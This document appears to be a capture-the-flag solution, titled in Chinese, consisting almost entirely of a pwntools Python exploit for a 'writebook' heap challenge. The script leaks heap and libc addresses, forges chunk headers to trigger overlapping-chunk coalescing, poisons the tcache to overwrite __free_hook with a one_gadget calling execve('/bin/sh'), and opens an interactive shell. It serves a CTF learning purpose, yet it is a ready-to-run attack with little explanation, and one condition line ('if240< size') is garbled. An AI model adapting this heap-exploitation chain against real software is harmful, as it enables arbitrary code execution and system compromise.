解题过程

  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. from pwn import*
  4. exe = context.binary = ELF('./writebook')
  5. if args.LIBC:
  6. libc_path = "./libc.so.6"
  7. os.environ['LD_PRELOAD'] = libc_path
  8. else:
  9. libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
  10. libc = ELF(libc_path)
  11. def start(argv=[], *a, **kw):
  12. '''Start the exploit against the target.'''
  13. if args.GDB:
  14. context.terminal = ['tmux','splitw','-h']
  15. return gdb.debug([exe.path] + argv)
  16. elif args.REMOTE:
  17. return remote("127.0.0.1", "8892")
  18. else:
  19. return process([exe.path] + argv, *a, **kw)
  20. #===========================================================
  21. # EXPLOIT GOES HERE
  22. #===========================================================
  23. # Arch: amd64-64-little
  24. # RELRO: Full RELRO
  25. # Stack: Canary found
  26. # NX: NX enabled
  27. # PIE: PIE enabled
  28. """
  29. size: 32
  30. [+] Heap-Analysis- __libc_malloc(32)=0x555555757040
  31. page #1
  32. 1.New page
  33. 2.Write paper
  34. 3.Read paper
  35. 4.Destroy the page
  36. 5.Repick
  37. > 3
  38. """
  39. HEAP_BASE = 0
  40. LIBC_BASE = 0
  41. def create_page(size):
  42. io.sendline("1")
  43. io.recvuntil("both sides?")
  44. if240< size:
  45. io.sendline("2")
  46. else:
  47. io.sendline("1")
  48. io.sendline(str(size))
  49. def remove_page(nr):
  50. io.sendline("4")
  51. io.recvuntil("Page:")
  52. io.sendline(str(nr))
  53. def print_page(nr):
  54. io.sendline("3")
  55. io.recvuntil("Page:")
  56. io.sendline(str(nr))
  57. def load_page(nr, data):
  58. io.sendline("2")
  59. io.recvuntil("Page:")
  60. io.sendline(str(nr))
  61. io.recvuntil("Content:")
  62. io.send(data)
  63. def get_heapleak(pg_nr):
  64. global HEAP_BASE
  65. print_page(pg_nr)
  66. io.recvuntil("Content:")
  67. leakstr = io.recvline()[1:-1] + b"\x00\x00"
  68. print(hex(u64(leakstr)))
  69. heap_leak = u64(leakstr)
  70. HEAP_BASE = heap_leak - 0xd30
  71. print("-"* 89)
  72. print("HEAPBASE: %s"% hex(HEAP_BASE))
  73. def get_libcleak(pg_nr):
  74. global LIBC_BASE
  75. print_page(pg_nr)
  76. io.recvuntil("Content:")
  77. leakstr = io.recvline()[1:-1] + b"\x00\x00"
  78. print(hex(u64(leakstr)))
  79. libc_leak = u64(leakstr)
  80. LIBC_BASE = libc_leak - 0x3ec070
  81. print("-"* 89)
  82. print("LIBC_BASE: %s"%hex(LIBC_BASE))
  83. io = start()
  84. io.recvuntil("> ")
  85. # shellcode = asm(shellcraft.sh())
  86. length = 0xf0-8
  87. biglength = 0xf0
  88. print("[*]First Create")
  89. create_page(0x1e0)
  90. #load_page(0, cyclic(0x1e0))
  91. payload = b"A"*8
  92. payload += p64(0x331)
  93. load_page(0, payload)
  94. io.sendline()
  95. create_page(0x40)
  96. create_page(0x50)
  97. create_page(0x60)
  98. create_page(40)
  99. create_page(0x1e0)
  100. create_page(0x90)
  101. create_page(0xf0)
  102. create_page(0xf0)
  103. create_page(0xf0)
  104. create_page(0xf0)
  105. create_page(0xf0)
  106. create_page(0xf0)
  107. create_page(0xf0)
  108. print("[*]Remove last 7")
  109. remove_page(7)
  110. remove_page(8)
  111. remove_page(9)
  112. remove_page(10)
  113. remove_page(11)
  114. remove_page(12)
  115. remove_page(13)
  116. print("[*]Create 0xf0")
  117. create_page(0xf0)
  118. print("[*]Heap Leak")
  119. get_heapleak(7)
  120. print("[*]Remove last")
  121. remove_page(7)
  122. #7
  123. create_page(0x1e0)
  124. create_page(0x1e0)
  125. create_page(0x1e0)
  126. create_page(0x1e0)
  127. create_page(0x1e0)
  128. create_page(0x1e0)
  129. create_page(0x1e0)
  130. create_page(0x1e0)
  131. create_page(0x1e0)
  132. create_page(0x1e0) #keep from merging with top
  133. remove_page(7)
  134. remove_page(8)
  135. remove_page(9)
  136. remove_page(10)
  137. remove_page(11)
  138. remove_page(12)
  139. remove_page(13)
  140. remove_page(14)
  141. remove_page(15)
  142. create_page(0x1d0)
  143. get_libcleak(7)
  144. remove_page(7)
  145. print("LIBC_BASE: %s"%hex(LIBC_BASE))
  146. print("HEAP_BASE: %s"%hex(HEAP_BASE))
  147. payload = b"-"*(0x100-8)
  148. payload += p64(0xf1)
  149. load_page(5, payload)
  150. io.sendline()
  151. #tcache is now full for 0x1e0, overflow the next chunk header and set prev size
  152. CHUNK_TO_COALESCE = HEAP_BASE+0x260
  153. FAKECHUNK_BASE = CHUNK_TO_COALESCE+0x18
  154. FREE_HOOK = LIBC_BASE+0x3ed8e8
  155. payload = b""
  156. payload += b"A"*32
  157. payload += p64(0x330) #fake prev_size pointing to page 0
  158. load_page(4, payload)
  159. payload = b"A"*8
  160. payload += p64(0x331)
  161. payload += p64(FAKECHUNK_BASE)
  162. payload += p64(FAKECHUNK_BASE+0x8)
  163. payload += p64(0x0)
  164. payload += p64(0x0)
  165. payload += p64(CHUNK_TO_COALESCE)
  166. len(payload)
  167. load_page(0, payload)
  168. io.sendline()
  169. #io.interactive()
  170. # free the page we modified the chunk on
  171. remove_page(5)
  172. # we now have unsorted bin pointing to 0x270 offset which overlaps. Now create a page to get that pointer
  173. create_page(0x1d0)
  174. create_page(0x1d0)
  175. create_page(0x1d0)
  176. # then remove to get into tcache
  177. remove_page(5)
  178. remove_page(6)
  179. remove_page(7)
  180. remove_page(8)
  181. # 0x270 offset pointer is now in tcache
  182. # overwrite the next pointer
  183. payload = b""
  184. payload += p64(0)
  185. payload += p64(0x1e1)
  186. payload += p64(FREE_HOOK)
  187. load_page(0, payload)
  188. io.sendline()
  189. create_page(0x1d0)
  190. create_page(0x1d0)
  191. # Write the magic gadget to __free_hook ptr
  192. payload = p64(LIBC_BASE+0x4f432)
  193. load_page(6, payload)
  194. io.sendline()
  195. # free a page
  196. remove_page(3)
  197. io.interactive()
  198. """
  199. 0x4f432 execve("/bin/sh", rsp+0x40, environ)
  200. constraints:
  201. [rsp+0x40] == NULL
  202. """